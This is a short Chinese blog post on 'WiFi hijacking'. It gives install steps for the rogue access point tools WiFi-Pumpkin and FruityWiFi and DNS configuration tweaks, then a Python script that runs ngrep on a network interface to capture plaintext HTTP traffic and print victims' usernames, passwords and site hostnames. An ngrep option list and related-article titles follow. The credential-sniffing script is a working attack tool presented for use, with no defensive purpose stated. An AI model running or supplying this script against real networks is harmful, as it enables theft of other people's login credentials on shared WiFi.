wifi 劫持安装
2017-05-05 00:00
274 查看
sudo dpkg -i wifi-pumpkin-0.8.4-all.deb apt-get -f -y install
安装失败的化 执行下面这句话 再安装
sudo apt-get install gdebi-core
sudo gdebi /path/to/filename.deb
判断网卡驱动
modprobe -nv
//------------------------------------
安装前先升级驱动
apt-get -y update && apt-get -y upgrade && apt-get -y dist-upgrade 把 /etc/network/interface 添加 nameserver 114.114.114.114 nameserver 114.114.115.115 重启
apt-get install fruitywifi /etc/init.d/fruitywifi start /usr/share/fruitywifi/conf/resolv.conf 添加 nameserver 114.114.114.114 然后 chattr +i resolv.conf 记住要 才能启动 systemctl stop NetworkManager.service 或者干脆 systemctl disable NetworkManager.service
#!/usr/bin/python3 import os import subprocess import sys import urllib.parse # print("开始监控域名:%s" % sys.argv[1]) print('-----------------------------------------------') tmp = os.popen('/etc/init.d/fruitywifi restart') hi = '''ngrep '(use|name|email|id)' -q -i -W byline -d eth0 -l''' p = subprocess.Popen(hi, shell=True, stdout=subprocess.PIPE) host = "" while p.poll() is None: outs = p.stdout.readline().decode().split('\n') for outstr in outs: outstr = outstr.strip() if outstr.lower().find('host') > -1: host = outstr if outstr.lower().find('pass') > -1 and outstr.lower().find('use') > -1 and not host.lower().find('360.cn') > -1: outlist = outstr.split('&') u = '' for i in outlist: if i.lower().find('user') > -1 and not i.lower().find('pass') > -1: u = i if i.lower().find('pass') > -1 and len(u) > 0: print('用户的信息:' + urllib.parse.unquote(u)) print('密码的信息:' + urllib.parse.unquote(i)) print('子域名信息:' + host.replace('Host:', '').strip()) print('-----------------------------------------------')
ngrep 参数 -e :显示空数据包 -i :忽略大小写 -v :反转匹配 -R :dont do privilege revocation logic -x :以16进制格式显示 -X :以16进制格式匹配 -w :整字匹配 -p :不使用混杂模式 -l :实时输出 -D :replay pcap_dumps with their recorded time intervals -t :在每个匹配的包之前显示时间戳 -T :显示上一个匹配的数据包之间的时间间隔 -M :仅进行单行匹配 -I :从文件中读取数据进行匹配 -O :将匹配的数据保存到文件 -n :仅捕获指定数目的数据包进行查看 -A :匹配到数据包后dump随后的指定数目的数据包 -s :set the bpf caplen -S :set the limitlen on matched packets -W :设置显示格式byline将解析包中的换行符 -c :强制显示列的宽度 -P :set the non-printable display char to what is specified -F :使用文件中定义的bpf(Berkeley Packet Filter) -N :显示由IANA定义的子协议号 -d :使用哪个网卡,可以用-L选项查询 -L :查询网卡接口
相关文章推荐
- wifi下的cookies劫持
- 在Gentoo上安装无线网卡 Iwlwifi
- [笔记] 在T430上安装ubuntu server 12.04并配置wifi
- WiFi流量劫持
- Windows Server 2008安装 百度Wifi \ 360Wifi \ 小米Wifi 失败的解决方法
- 使win7系统发射自带wifi,十分稳定,不用安装其他软件,大家可以看看,欢迎评论
- WiFi流量劫持—— 浏览任意页面即可中毒!
- WiFi流量劫持—— 浏览任意页面即可中毒!
- 路由器连接校园网并发WIFI:WR703N路由器安装OpenWRT并运行H3C客户端操作步骤(主要针对中山大学东校区)
- windows server 2008安装thinkpad 无线wifi和access conntections还有指纹软件失败的解决办法
- 利用adb通过wifi方式进行apk安装的问题
- 在RHEL6 安装wifi
- ubuntu10.04(64位)下安装rt3070 wifi驱动
- Windows7下笔记本设置虚拟wifi(不用安装软件)
- 虚拟机下登陆beso_wifi开发板以及安装图形界面gdb调试工具
- MSI U210x netbook wifi在ubuntu下如何安装
- Wifi安装要点及其注意事项
- WiFi流量劫持—— 浏览任意页面即可中毒!
- 如何通过wifi在android手机上安装调试应用
- wifidog安装以及自写wifidog认证服务器